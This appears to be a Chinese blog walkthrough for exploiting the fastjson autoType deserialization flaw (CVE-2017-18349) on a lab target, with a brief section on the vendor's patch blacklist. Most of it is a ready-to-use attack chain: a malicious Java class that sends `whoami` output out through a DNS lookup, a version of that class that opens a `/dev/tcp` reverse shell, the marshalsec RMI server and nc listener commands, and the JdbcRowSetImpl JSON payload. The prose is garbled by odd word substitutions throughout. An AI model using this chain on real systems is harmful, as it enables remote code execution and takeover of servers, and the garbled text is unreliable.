fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

破绽简介

fastjson在解析json的过程中,支持运用autoType来实例化某一个详细的类,并调用该类的set/get办法来访问属性。经过查找代码中相关的办法,即可结构出一些歹意应用链。

浅显了解就是:破绽是应用fastjson autotype在处置json对象的时分,未对@type字段停止完整的平安性考证,攻击者能够传入风险类,并调用风险类衔接远程rmi主机,经过其中的歹意类执行代码。攻击者经过这种方式能够完成远程代码执行破绽的应用,获取效劳器的敏感信息泄露,以至能够应用此破绽进一步对效劳器数据停止修正,增加,删除等操作,对效劳器形成宏大的影响。
 


     

影响版本

Fastjson < 1.2.25
 


 

破绽复现

靶场地址:http://192.168.234.128:8090/

考证破绽存在(上线CEYE)

①编写歹意类Exploit.java文件

import java.lang.Runtime;
import java.lang.Process;
 
public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/sh","-c","ping user.'whoami'.pj52oz.ceye.io"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

②将Exploit.java编译成class文件。

javac Exploit.java

图片[1]-fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)-孤勇者社区

③在Exploit.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向Exploit.calss网址。
 

python3 -m http.server 666  //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.234.135:666/#Exploit" 9999  //marshalsec-0.0.3-SNAPSHOT-all.jar  开启RMI效劳

图片[2]-fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)-孤勇者社区

图片[3]-fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)-孤勇者社区

④Burpsuite改包发送payload,CEYE胜利记载。

payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.234.135:9999/Exploit",
        "autoCommit":true
    }
}

图片[4]-fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)-孤勇者社区
 

反弹shell

①歹意类Exploit.java文件中插入反弹shell代码

import java.lang.Runtime;
import java.lang.Process;
 
public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.160.128/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

②将Exploit.java编译成class文件。

javac Exploit.java

③在Exploit.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向Exploit.calss网址,nc开启监听等候shell衔接。
 

python3 -m http.server 666  //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.234.135:666/#Exploit" 9999  //marshalsec-0.0.3-SNAPSHOT-all.jar 开启RMI效劳
nc -lvnp 4444  //nc等候shell衔接

④Burpsuite改包发送payload,反弹shell胜利。

payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.234.135:9999/Exploit",
        "autoCommit":true
    }
}

 


 

工具检测

burp有插件https://github.com/Maskhe/FastjsonScan

 


 

破绽防御

在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())交换为了config.checkAutoType(typeName),并且扩大了黑名单列表,将传入的类名与黑名单逐个比拟,假如发现了相同开头的类就中止反序列化

// 新增的黑名单bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

能够看到绝大局部常用的类都曾经被加进来了,但是假如不经常维护此名单,一旦后面呈现了新的能够应用的类,很容易就绕过这个限制。
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞12赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片